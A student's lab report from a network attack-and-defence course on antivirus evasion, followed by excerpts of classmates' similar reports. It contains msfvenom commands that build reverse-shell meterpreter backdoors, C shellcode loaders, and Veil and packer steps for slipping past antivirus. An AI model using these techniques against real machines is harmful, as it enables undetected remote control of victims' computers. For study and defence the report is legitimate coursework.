2019-2020-2 20175226王鹏雲《网络对抗技术》Exp3 免杀原理与实践

2019-2020-2 20175226王鹏雲《网络对抗技术》Exp3 免杀原理与实践

实验内容

  • 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具、使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧
  • 2.通过组合应用各种技术实现恶意代码免杀

    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实验过程

实验准备即相关知识

VirusTotal、Virscan
  • 集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
  • 链接如下:
Msfvenom使用编码器
  • Msfvenom是Metasploit平台下用来编码payloads免杀的工具。
  • 模板是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
Veil-Evasion
  • Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。
C语言调用Shellcode
  • 就是一个半手工打造恶意软件的例子。
加壳
  • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。
  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析
  • 从技术上分壳分为:
    • 压缩壳
    • 加密壳
    • 虚拟机
详情参见

任务一、正确使用免杀工具或技巧

一、正确使用msf编码器
  • 将实验二中用msf命令生成的后门程序20175226_backdoor.exe放到VirusTotal中扫描(我进入另一个网站弄不出来所以就只在这个网站扫描了)结果如下:

  • 然后输入对应命令,进行多次编码尝试降低检出率
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.104 LPORT=5226 -f exe > 20175226_backdoor2.exe

  • 再进入上述网站扫描

二、msfvenom生成如jar之类的其他文件
  • 1.生成jar文件
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.104 lport=5226 x> 20175226_JAVAbackdoor.jar

  • 扫描结果:检出率确实降低了不少

  • 2.生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=5226 R > 20175226_APKbackdoor.apk

  • 扫描结果感觉和上面jar差不多

  • 3.生成php文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.183.130 lport=5226 x> 20175226_PHPbackdoor.php

  • 扫描结果比之前的那几个都要好很多

三、利用veil-evasion
  • 因为kail里没有veil,所以要先进行安装(这个过程及其的慢,可以去眯一觉)
  • 在安装前执行下列命令,做好准备
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

  • 使用命令sudo apt-get install veil-evasion安装veil
  • 下载好后用veil打开veil进行安装

  • 这时出现了一些问题,它提示了一些问题后在那一直循环初始化
  • 后来参考一些帖子执行命令/usr/share/veil/config/setup.sh --force --silent可自动修护错误
  • 安装参考博客
  • 错误参考帖子
  • 完成后有Done!提示说明成功,然后再用veil命令打开界面

  • 命令use evasion命令进入Veil-Evasion

  • 命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹窗口及端口set LHOSTset LPORT(忘截图了输就好了)
  • 命令generate生成文件,输入你的playload名字WPYveil_5226
  • 及下方可以查看exe文件保存地址/var/lib/veil/output/compiled/WPYveil_5226

  • 扫描情况如图

  • 在进入Veil-Evasion后可以用list查看别的payload(这个地方是我之后试的,kail重启之后终端就白了,还没弄回去-_-||)

四、使用C + shellcode编程
  • 首先我们需要先生成一段shellcode(注意看一下自己的ip地址)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=5226 -f c

命令别输错。。。一个LPOST就废了一下午

  • 然后创建一个c文件wpyshell.c,将下述代码及新建的shellcode复制进去
unsigned char buf[] = ‘shellcode‘

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 然后因为我们需要将这个放入windoes下运行,所以需要进行交叉编译(没有的话可以sudo apt-get install mingw-w64下载编译软件)

    i686-w64-mingw32-g++ wpyshell.c -o wpyshell.exe

  • 测试可用性同时放入上述网站扫描

五、加壳工具
  • 1.给上面的shellcode加一个压缩壳(UPX):upx wpyshell.exe -o wpyshellupxed.exe

  • 同样测试可用性及上传扫描,扫描结果相对与没有加壳还是要好那么一点

  • 2.加密壳处理:将之前生成的exe文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 加壳命令wine hyperion.exe -v wpyshellupxed.exe 5330-wpyshellhyperion.exe

  • 测试可用性及上传扫描,这样扫描的结果比没加壳还要多。。。。感觉被骗了

六、使用其他课堂未介绍方法
  • 我一开始找的是一个叫shellter的免杀工具,通过利用动态Shellcode注入来实现免杀的效果,不过我失败了。。。它在注入的时候完全不搭理我。参考链接

  • 后来我是找的一段代码。其会申请一段动态内存,然后加载shellcode。感觉和上面shellcode+C差不多。参考链接
  • 我们也是需要先生成一段shellcode,然后将其加入下面代码
#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口

unsigned char buf[] =
"shellcode";

main()

{
    char *Memory; 

    Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Memory, buf, sizeof(buf));

    ((void(*)())Memory)();

}
  • 然后编译生成shell.exe (这里我是在外面用CodeBlocks编译的)
  • 测试其可用性及放入网站扫描

任务二、通过组合应用各种技术实现恶意代码免杀

  • 方式为多次编码的shellcode+申请动态内存代码+压缩壳
  • 目标是自己的主机,杀软是360
  • 测试可用性

  • 软件扫描,危险性为上次实验二的后门,此次的shellupxed.exe没有问题

任务三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 我使用的是另一台虚拟机win7,杀软360,备用木马库为2020-03-26
  • 我第一次在里面运行,没有问题也能正常回连

  • 后来再试的时候就弹出威胁了。。。。所以这软件是得被扇一下才能发现威胁?

  • 最后我想试试别的软件,就下了火绒在,然后在主机重新扫描,发现都被查出来了。。。360是卧底。。

实验总结

基础问题回答

(1)杀软是如何检测出恶意代码的?
  • 基于特征码检测

    • 很多软件都会有各种特征码记成的特征库
    • 恶意软件的一个或几个片断就可作为识别依据。
  • 也有启发式恶意软件的检测
    • 有种宁杀错不放过的感觉
  • 基于行为的检测
(2)免杀是做什么?
  • 免杀就是通过某些手段对软件进行处理,让它不会被杀毒软件检测出来
(3)免杀的基本方法有哪些?

根据杀软检测恶意软件的手段,即大致技术

  • 1.改变特征码

    • 加壳:压缩壳 加密壳
    • 用encode进行编码
    • 基于payload重新编译生成可执行文件
    • 用其他语言进行重写再编译(veil-evasion)
  • 2.改变行为
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码
  • 3.非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件
(4)开启杀软能绝对防止电脑中恶意代码吗?
  • 从实验过程来看当然是不能的,连我们这种第一次瞎搞的都有某些代码,逃脱了自己电脑上的杀软(虽然我觉得可能是我的杀软太垃圾了),但是想想这网络世界的恶意代码可能都是某些人仔细研究了好久的,这样就更难以防范这些恶软了。

实验总结与反思

  • 这次实验真的在爆炸的边缘各种徘徊,主要失败重复次数太多无论是前面的安装还是后面生成shellcode试了一天,找到一种方法就像抓住救命稻草一样然后又被无情抛弃,头秃,完全运气游戏。
  • 不过说回实验还是学到了很多,了解了各种基础免杀方法,也在网上看见了一些进阶虽然我都失败了。。。但也至少我知道我的杀软该升级了,啥都查不出来。感觉学了这个之后整天感觉自己电脑摄像头在闪,安全感骤降。钉钉是不是也可以装后门。。。

原文地址:https://www.cnblogs.com/20175226wpy/p/12562218.html

时间: 2024-11-07 01:55:59

2019-2020-2 20175226王鹏雲《网络对抗技术》Exp3 免杀原理与实践的相关文章

2019-2020-2 20175208 张家华 网络对抗技术 Exp3 免杀原理与实践

实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具.使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 实验过程 实验准备即相关知识 VirusTotal.Virscan 集

2018~2019-4 20165107 网络对抗技术 Exp3 免杀原理与实践

20165107 Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:我们发现某类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,这段或多段数据即特征码.如

20145309《网络对抗技术》免杀原理与实践

20145309<网络对抗技术>免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据特征来检测:对已存在的流行代码特征的提取与比对根据行为来检测:是否有更改注册表行为.是否有设置自启动.是否有修改权限等等 (2)免杀是做什么? 使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀. (3)免杀的基本方法有哪些? 加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加:加花指令:就是加一段垃圾代码,但是并不影响程序的正

20154307《网络对抗》Exp3 免杀原理与实践

20154307<网络对抗>Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件. 启发式恶意软件检测 基于行为的恶意软件检测:检测程序是否会有一些恶意行为,如修改注册表,更改权限等等.. (2)免杀是做什么? 让攻击程序不被杀软查杀 (3)免杀的基本方法有哪些? 加壳 改变特征码 二.实践内容 1.使用msf生成后门程序的检测 由于上一个实验我们已经用msf生成了一

20155218《网络对抗》Exp3 免杀原理与实践

20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时对它多编码1次并进行测试 发现能发现的杀软变少: (3)使用msf时对它多编码10次并进行测试 编码10次后,发现可以查杀的杀软数量仅仅减少了一个: 二.使用veil-evasion生成后门程序的检测 通过list查看功能,选用22命令 生成文件: 测试结果: 显而易见,效果并不理想: 三.利用shellco

20155232《网络对抗》Exp3 免杀原理与实践

20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执行文件(或其他运行的库.脚本等)包含这样的数据则被认为是恶意代码. 启发式恶意软件检测 根据些片面特征去推断. 通用性,不精确. 基于行为的恶意软件检测 修改文件硬盘.连接恶意网站.修改注册表 (2)免杀是做什么? 通过一些手段来瞒过杀软的检测扫描.避免被杀毒软件查杀. (3)免杀的基本方法有哪些? 改变特征

20155302《网络对抗》Exp3 免杀原理与实践

20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) 2.通过组合应用各种技术实现恶意代码免杀(1分) (如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分) 实验内容 报告评分 1.5分报告整体观感 0.5分

20155338《网络对抗》Exp3 免杀原理与实践

20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.org/上进行扫描,有48%的杀软报告病毒. 二.使用msf编码器 编码一次,在Kali输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=kali的IP LPORT=533

20155330 《网络攻防》 Exp3 免杀原理与实践

20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码. 基于行为.杀软通过检测程序是否有更改注册表行为.是否有设置自启动.是否有修改权限等等行为进行判断. 免杀是做什么? 恶意代码避免杀毒软件查杀,从而实现入侵. 免杀的基本方法有哪些? 对恶意代码进行加壳 利用shellcode进行编码 实践过程记录 使用msf生成后门程序的检测 将实验二中